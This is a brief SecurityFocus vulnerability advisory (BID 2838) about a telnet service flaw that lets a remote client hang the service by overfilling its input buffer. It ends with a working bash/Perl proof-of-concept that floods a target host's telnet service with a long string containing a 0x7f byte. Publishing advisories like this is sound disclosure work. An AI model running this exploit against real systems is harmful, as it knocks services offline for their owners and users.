source: http://www.securityfocus.com/bid/2838/info

Due to a flaw in the implementation of the telnet service, it is possible for a remote client to perform a denial of service attack against a host.

If approximately 4300 characters already exist in the input buffer and additional numerous specially chosen characters are provided, the service will stop responding. 

#!/bin/bash
  ( sleep 1
    perl -e '{printf "%s\x7f%s","A"x4500,"A"x100}'
    sleep 3
  ) | telnet victimbox
  - eof -